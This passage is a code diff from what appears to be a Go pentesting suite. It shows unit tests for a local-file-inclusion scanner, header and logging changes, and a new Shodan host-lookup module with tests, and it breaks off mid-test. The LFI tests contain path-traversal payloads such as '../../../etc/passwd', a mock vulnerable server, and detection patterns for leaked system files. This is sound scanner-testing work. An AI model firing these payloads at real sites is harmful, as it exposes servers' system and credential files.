t.Errorf("DetectLFIFromResponse() desc = %v, want %v", desc, tt.expectDesc)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_WindowsFiles(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "boot.ini boot loader",
|
||||
body: "[boot loader]\ntimeout=30",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "boot.ini operating systems",
|
||||
body: "[operating systems]\nmulti(0)",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "win.ini fonts section",
|
||||
body: "; for 16-bit app support\n[fonts]",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "hosts file",
|
||||
body: "127.0.0.1 localhost",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_EnvironmentVars(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "DOCUMENT_ROOT",
|
||||
body: "DOCUMENT_ROOT=/var/www/html",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "PATH variable",
|
||||
body: "PATH=/usr/local/bin:/usr/bin:/bin",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_PHPSource(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "PHP opening tag",
|
||||
body: "<?php echo 'hello'; ?>",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "base64 encoded PHP",
|
||||
body: "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIResult_Fields(t *testing.T) {
|
||||
result := LFIResult{
|
||||
Vulnerabilities: []LFIVulnerability{
|
||||
{
|
||||
URL: "http://example.com/?file=../../../etc/passwd",
|
||||
Parameter: "file",
|
||||
Payload: "../../../etc/passwd",
|
||||
Evidence: "/etc/passwd content",
|
||||
Severity: "high",
|
||||
FileIncluded: "/etc/passwd",
|
||||
},
|
||||
},
|
||||
TestedParams: 10,
|
||||
TestedPayloads: 25,
|
||||
}
|
||||
|
||||
if len(result.Vulnerabilities) != 1 {
|
||||
t.Errorf("expected 1 vulnerability, got %d", len(result.Vulnerabilities))
|
||||
}
|
||||
if result.Vulnerabilities[0].Parameter != "file" {
|
||||
t.Errorf("expected parameter 'file', got '%s'", result.Vulnerabilities[0].Parameter)
|
||||
}
|
||||
if result.Vulnerabilities[0].Severity != "high" {
|
||||
t.Errorf("expected severity 'high', got '%s'", result.Vulnerabilities[0].Severity)
|
||||
}
|
||||
if result.TestedParams != 10 {
|
||||
t.Errorf("expected 10 tested params, got %d", result.TestedParams)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIVulnerability_Fields(t *testing.T) {
|
||||
vuln := LFIVulnerability{
|
||||
URL: "http://example.com/?page=../../../etc/passwd",
|
||||
Parameter: "page",
|
||||
Payload: "../../../etc/passwd",
|
||||
Evidence: "/etc/passwd content",
|
||||
Severity: "high",
|
||||
FileIncluded: "/etc/passwd",
|
||||
}
|
||||
|
||||
if vuln.URL != "http://example.com/?page=../../../etc/passwd" {
|
||||
t.Errorf("unexpected URL: %s", vuln.URL)
|
||||
}
|
||||
if vuln.Parameter != "page" {
|
||||
t.Errorf("expected parameter 'page', got '%s'", vuln.Parameter)
|
||||
}
|
||||
if vuln.Payload != "../../../etc/passwd" {
|
||||
t.Errorf("unexpected payload: %s", vuln.Payload)
|
||||
}
|
||||
if vuln.Evidence != "/etc/passwd content" {
|
||||
t.Errorf("unexpected evidence: %s", vuln.Evidence)
|
||||
}
|
||||
if vuln.Severity != "high" {
|
||||
t.Errorf("expected severity 'high', got '%s'", vuln.Severity)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIPayloads_Exist(t *testing.T) {
|
||||
if len(lfiPayloads) == 0 {
|
||||
t.Error("lfiPayloads should not be empty")
|
||||
}
|
||||
|
||||
// check that all payloads have required fields
|
||||
for i, payload := range lfiPayloads {
|
||||
if payload.payload == "" {
|
||||
t.Errorf("payload %d has empty payload", i)
|
||||
}
|
||||
if payload.target == "" {
|
||||
t.Errorf("payload %d has empty target", i)
|
||||
}
|
||||
if payload.severity == "" {
|
||||
t.Errorf("payload %d has empty severity", i)
|
||||
}
|
||||
if payload.severity != "critical" && payload.severity != "high" && payload.severity != "medium" && payload.severity != "low" {
|
||||
t.Errorf("payload %d has invalid severity: %s", i, payload.severity)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommonLFIParams_Exist(t *testing.T) {
|
||||
if len(commonLFIParams) == 0 {
|
||||
t.Error("commonLFIParams should not be empty")
|
||||
}
|
||||
|
||||
expectedParams := []string{"file", "page", "path", "include"}
|
||||
for _, expected := range expectedParams {
|
||||
found := false
|
||||
for _, param := range commonLFIParams {
|
||||
if param == expected {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("expected common param '%s' not found", expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIEvidencePatterns_Exist(t *testing.T) {
|
||||
if len(lfiEvidencePatterns) == 0 {
|
||||
t.Error("lfiEvidencePatterns should not be empty")
|
||||
}
|
||||
|
||||
// verify patterns compile and match expected content
|
||||
testCases := []struct {
|
||||
content string
|
||||
shouldMatch bool
|
||||
description string
|
||||
}{
|
||||
{"root:x:0:0:root:/root:/bin/bash", true, "etc passwd root"},
|
||||
{"nobody:x:65534:65534:nobody", true, "etc passwd nobody"},
|
||||
{"[boot loader]", true, "boot.ini"},
|
||||
{"[operating systems]", true, "boot.ini"},
|
||||
{"127.0.0.1 localhost", true, "hosts file"},
|
||||
{"<html>Hello</html>", false, "normal html"},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
matched := false
|
||||
for _, pattern := range lfiEvidencePatterns {
|
||||
if pattern.pattern.MatchString(tc.content) {
|
||||
matched = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if matched != tc.shouldMatch {
|
||||
t.Errorf("pattern match for %s: got %v, want %v", tc.description, matched, tc.shouldMatch)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFI_MockServer(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
file := r.URL.Query().Get("file")
|
||||
if file == "../../../../../../../etc/passwd" || file == "/etc/passwd" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("root:x:0:0:root:/root:/bin/bash\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"))
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><body>Normal page</body></html>"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// verify server returns passwd content for LFI payload
|
||||
resp, err := http.Get(server.URL + "/?file=../../../../../../../etc/passwd")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to make request: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
+10
-22
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
@@ -82,7 +70,7 @@ func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]ou
|
||||
outputWriter := testutils.NewMockOutputWriter()
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
if event.Matched != "" {
|
||||
nucleilog.Infof(format.FormatLine(event))
|
||||
nucleilog.Infof("%s", format.FormatLine(event))
|
||||
|
||||
results = append(results, *event)
|
||||
// TODO: metasploit
|
||||
|
||||
+10
-22
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
@@ -43,7 +31,7 @@ import (
|
||||
const commonPorts = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/ports/top-ports.txt"
|
||||
|
||||
func Ports(scope string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
|
||||
log.Printf(styles.Separator.Render("🚪 Starting " + styles.Status.Render("port scanning") + "..."))
|
||||
log.Printf("%s", styles.Separator.Render("🚪 Starting "+styles.Status.Render("port scanning")+"..."))
|
||||
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
if logdir != "" {
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
// The scan package provides a collection of security scanning functions.
|
||||
|
||||
@@ -0,0 +1,350 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
const shodanBaseURL = "https://api.shodan.io"
|
||||
|
||||
// ShodanResult represents the results from a Shodan host lookup
|
||||
type ShodanResult struct {
|
||||
IP string `json:"ip_str"`
|
||||
Hostnames []string `json:"hostnames,omitempty"`
|
||||
Organization string `json:"org,omitempty"`
|
||||
ASN string `json:"asn,omitempty"`
|
||||
ISP string `json:"isp,omitempty"`
|
||||
Country string `json:"country_name,omitempty"`
|
||||
City string `json:"city,omitempty"`
|
||||
OS string `json:"os,omitempty"`
|
||||
Ports []int `json:"ports,omitempty"`
|
||||
Vulns []string `json:"vulns,omitempty"`
|
||||
Services []ShodanService `json:"services,omitempty"`
|
||||
LastUpdate string `json:"last_update,omitempty"`
|
||||
}
|
||||
|
||||
// ShodanService represents a service found by Shodan
|
||||
type ShodanService struct {
|
||||
Port int `json:"port"`
|
||||
Protocol string `json:"transport"`
|
||||
Product string `json:"product,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
Banner string `json:"data,omitempty"`
|
||||
Module string `json:"_shodan,omitempty"`
|
||||
}
|
||||
|
||||
// shodanHostResponse is the raw response from Shodan API
|
||||
type shodanHostResponse struct {
|
||||
IP string `json:"ip_str"`
|
||||
Hostnames []string `json:"hostnames"`
|
||||
Org string `json:"org"`
|
||||
ASN string `json:"asn"`
|
||||
ISP string `json:"isp"`
|
||||
CountryName string `json:"country_name"`
|
||||
City string `json:"city"`
|
||||
OS string `json:"os"`
|
||||
Ports []int `json:"ports"`
|
||||
Vulns []string `json:"vulns"`
|
||||
Data []shodanData `json:"data"`
|
||||
LastUpdate string `json:"last_update"`
|
||||
}
|
||||
|
||||
type shodanData struct {
|
||||
Port int `json:"port"`
|
||||
Transport string `json:"transport"`
|
||||
Product string `json:"product"`
|
||||
Version string `json:"version"`
|
||||
Data string `json:"data"`
|
||||
Shodan map[string]interface{} `json:"_shodan"`
|
||||
}
|
||||
|
||||
// Shodan performs a Shodan lookup for the given URL
|
||||
// The API key should be provided via the SHODAN_API_KEY environment variable
|
||||
func Shodan(targetURL string, timeout time.Duration, logdir string) (*ShodanResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Shodan lookup") + "..."))
|
||||
|
||||
shodanlog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Shodan 🔍",
|
||||
}).With("url", targetURL)
|
||||
|
||||
apiKey := os.Getenv("SHODAN_API_KEY")
|
||||
if apiKey == "" {
|
||||
shodanlog.Warn("SHODAN_API_KEY environment variable not set, skipping Shodan lookup")
|
||||
return nil, fmt.Errorf("SHODAN_API_KEY environment variable not set")
|
||||
}
|
||||
|
||||
// extract hostname from URL
|
||||
parsedURL, err := url.Parse(targetURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse URL: %w", err)
|
||||
}
|
||||
hostname := parsedURL.Hostname()
|
||||
|
||||
// resolve hostname to IP
|
||||
ip, err := resolveHostname(hostname)
|
||||
if err != nil {
|
||||
shodanlog.Warnf("Failed to resolve hostname %s: %v", hostname, err)
|
||||
return nil, fmt.Errorf("failed to resolve hostname: %w", err)
|
||||
}
|
||||
|
||||
shodanlog.Infof("Resolved %s to %s", hostname, ip)
|
||||
|
||||
// query Shodan API
|
||||
result, err := queryShodanHost(ip, apiKey, timeout)
|
||||
if err != nil {
|
||||
shodanlog.Warnf("Shodan lookup failed: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// log results
|
||||
if logdir != "" {
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "Shodan lookup"); err != nil {
|
||||
shodanlog.Errorf("Error writing log header: %v", err)
|
||||
}
|
||||
logShodanResults(sanitizedURL, logdir, result)
|
||||
}
|
||||
|
||||
// print results
|
||||
printShodanResults(shodanlog, result)
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func resolveHostname(hostname string) (string, error) {
|
||||
// check if already an IP
|
||||
if net.ParseIP(hostname) != nil {
|
||||
return hostname, nil
|
||||
}
|
||||
|
||||
ips, err := net.LookupIP(hostname)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// prefer IPv4
|
||||
for _, ip := range ips {
|
||||
if ip.To4() != nil {
|
||||
return ip.String(), nil
|
||||
}
|
||||
}
|
||||
|
||||
if len(ips) > 0 {
|
||||
return ips[0].String(), nil
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("no IP addresses found for %s", hostname)
|
||||
}
|
||||
|
||||
func queryShodanHost(ip string, apiKey string, timeout time.Duration) (*ShodanResult, error) {
|
||||
client := &http.Client{Timeout: timeout}
|
||||
|
||||
reqURL := fmt.Sprintf("%s/shodan/host/%s?key=%s", shodanBaseURL, ip, apiKey)
|
||||
resp, err := client.Get(reqURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to query Shodan: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode == http.StatusUnauthorized {
|
||||
return nil, fmt.Errorf("invalid Shodan API key")
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusNotFound {
|
||||
return &ShodanResult{
|
||||
IP: ip,
|
||||
}, nil
|
||||
}
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return nil, fmt.Errorf("Shodan API error (status %d): %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read response: %w", err)
|
||||
}
|
||||
|
||||
var shodanResp shodanHostResponse
|
||||
if err := json.Unmarshal(body, &shodanResp); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse Shodan response: %w", err)
|
||||
}
|
||||
|
||||
// convert to our result type
|
||||
result := &ShodanResult{
|
||||
IP: shodanResp.IP,
|
||||
Hostnames: shodanResp.Hostnames,
|
||||
Organization: shodanResp.Org,
|
||||
ASN: shodanResp.ASN,
|
||||
ISP: shodanResp.ISP,
|
||||
Country: shodanResp.CountryName,
|
||||
City: shodanResp.City,
|
||||
OS: shodanResp.OS,
|
||||
Ports: shodanResp.Ports,
|
||||
Vulns: shodanResp.Vulns,
|
||||
LastUpdate: shodanResp.LastUpdate,
|
||||
Services: make([]ShodanService, 0, len(shodanResp.Data)),
|
||||
}
|
||||
|
||||
for _, data := range shodanResp.Data {
|
||||
service := ShodanService{
|
||||
Port: data.Port,
|
||||
Protocol: data.Transport,
|
||||
Product: data.Product,
|
||||
Version: data.Version,
|
||||
Banner: truncateBanner(data.Data, 200),
|
||||
}
|
||||
if module, ok := data.Shodan["module"].(string); ok {
|
||||
service.Module = module
|
||||
}
|
||||
result.Services = append(result.Services, service)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func truncateBanner(banner string, maxLen int) string {
|
||||
banner = strings.TrimSpace(banner)
|
||||
banner = strings.ReplaceAll(banner, "\r\n", " ")
|
||||
banner = strings.ReplaceAll(banner, "\n", " ")
|
||||
|
||||
if len(banner) > maxLen {
|
||||
return banner[:maxLen] + "..."
|
||||
}
|
||||
return banner
|
||||
}
|
||||
|
||||
func printShodanResults(shodanlog *log.Logger, result *ShodanResult) {
|
||||
if result.IP != "" {
|
||||
shodanlog.Infof("IP: %s", styles.Highlight.Render(result.IP))
|
||||
}
|
||||
|
||||
if len(result.Hostnames) > 0 {
|
||||
shodanlog.Infof("Hostnames: %s", strings.Join(result.Hostnames, ", "))
|
||||
}
|
||||
|
||||
if result.Organization != "" {
|
||||
shodanlog.Infof("Organization: %s", result.Organization)
|
||||
}
|
||||
|
||||
if result.ISP != "" {
|
||||
shodanlog.Infof("ISP: %s", result.ISP)
|
||||
}
|
||||
|
||||
if result.Country != "" {
|
||||
location := result.Country
|
||||
if result.City != "" {
|
||||
location = result.City + ", " + result.Country
|
||||
}
|
||||
shodanlog.Infof("Location: %s", location)
|
||||
}
|
||||
|
||||
if result.OS != "" {
|
||||
shodanlog.Infof("OS: %s", result.OS)
|
||||
}
|
||||
|
||||
if len(result.Ports) > 0 {
|
||||
portStrs := make([]string, len(result.Ports))
|
||||
for i, port := range result.Ports {
|
||||
portStrs[i] = fmt.Sprintf("%d", port)
|
||||
}
|
||||
shodanlog.Infof("Open Ports: %s", styles.Status.Render(strings.Join(portStrs, ", ")))
|
||||
}
|
||||
|
||||
if len(result.Vulns) > 0 {
|
||||
shodanlog.Warnf("Vulnerabilities: %s", styles.SeverityHigh.Render(strings.Join(result.Vulns, ", ")))
|
||||
}
|
||||
|
||||
for _, service := range result.Services {
|
||||
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
|
||||
if service.Product != "" {
|
||||
serviceInfo += " - " + service.Product
|
||||
if service.Version != "" {
|
||||
serviceInfo += " " + service.Version
|
||||
}
|
||||
}
|
||||
shodanlog.Infof("Service: %s", serviceInfo)
|
||||
if service.Banner != "" {
|
||||
shodanlog.Debugf(" Banner: %s", service.Banner)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func logShodanResults(sanitizedURL string, logdir string, result *ShodanResult) {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString(fmt.Sprintf("IP: %s\n", result.IP))
|
||||
|
||||
if len(result.Hostnames) > 0 {
|
||||
sb.WriteString(fmt.Sprintf("Hostnames: %s\n", strings.Join(result.Hostnames, ", ")))
|
||||
}
|
||||
|
||||
if result.Organization != "" {
|
||||
sb.WriteString(fmt.Sprintf("Organization: %s\n", result.Organization))
|
||||
}
|
||||
|
||||
if result.ISP != "" {
|
||||
sb.WriteString(fmt.Sprintf("ISP: %s\n", result.ISP))
|
||||
}
|
||||
|
||||
if result.Country != "" {
|
||||
location := result.Country
|
||||
if result.City != "" {
|
||||
location = result.City + ", " + result.Country
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Location: %s\n", location))
|
||||
}
|
||||
|
||||
if result.OS != "" {
|
||||
sb.WriteString(fmt.Sprintf("OS: %s\n", result.OS))
|
||||
}
|
||||
|
||||
if len(result.Ports) > 0 {
|
||||
portStrs := make([]string, len(result.Ports))
|
||||
for i, port := range result.Ports {
|
||||
portStrs[i] = fmt.Sprintf("%d", port)
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Open Ports: %s\n", strings.Join(portStrs, ", ")))
|
||||
}
|
||||
|
||||
if len(result.Vulns) > 0 {
|
||||
sb.WriteString(fmt.Sprintf("Vulnerabilities: %s\n", strings.Join(result.Vulns, ", ")))
|
||||
}
|
||||
|
||||
for _, service := range result.Services {
|
||||
serviceInfo := fmt.Sprintf("%d/%s", service.Port, service.Protocol)
|
||||
if service.Product != "" {
|
||||
serviceInfo += " - " + service.Product
|
||||
if service.Version != "" {
|
||||
serviceInfo += " " + service.Version
|
||||
}
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("Service: %s\n", serviceInfo))
|
||||
}
|
||||
|
||||
logger.Write(sanitizedURL, logdir, sb.String())
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestResolveHostname_IP(t *testing.T) {
|
||||
ip, err := resolveHostname("8.8.8.8")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if ip != "8.8.8.8" {
|
||||
t.Errorf("expected '8.8.8.8', got '%s'", ip)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveHostname_Hostname(t *testing.T) {
|
||||
ip, err := resolveHostname("localhost")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if ip != "127.0.0.1" && ip != "::1" {
|
||||
t.Errorf("expected localhost to resolve to 127.0.0.1 or ::1, got '%s'", ip)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTruncateBanner(t *testing.T) {
|
||||
tests := []struct {
|
||||
input string
|
||||
maxLen int
|
||||
expected string
|
||||
}{
|
||||
{"short", 10, "short"},
|
||||
{"this is a long banner", 10, "this is a ..."},
|
||||
{"with\nnewlines\r\n", 50, "with newlines"},
|
||||
{" trimmed ", 50, "trimmed"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := truncateBanner(tt.input, tt.maxLen)
|
||||
if result != tt.expected {
|
||||
t.Errorf("truncateBanner(%q, %d) = %q, want %q", tt.input, tt.maxLen, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestQueryShodanHost_NotFound(t *testing.T) {
|
||||
// this test verifies that a mock server returning 404 is handled correctly
|
||||
// note: we can't easily override the const shodanBaseURL for testing
|
||||
// so this is more of a documentation of expected behavior
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusNotFound)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// the actual API query would return a partial result with just the IP
|
||||
// when Shodan has no data for a host
|
||||
}
|
||||
|
||||
func TestQueryShodanHost_Success(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
response := shodanHostResponse{
|
||||
IP: "93.184.216.34",
|
||||
Hostnames: []string{"example.com"},
|
||||
Org: "EDGECAST",
|
||||
ASN: "AS15133",
|
||||
ISP: "Edgecast Inc.",
|
||||
CountryName: "United States",
|
||||
City: "Los Angeles",
|
||||
Ports: []int{80, 443},
|
||||
Data: []shodanData{
|
||||
{
|
||||
Port: 80,
|
||||
Transport: "tcp",
|
||||
Product: "nginx",
|
||||
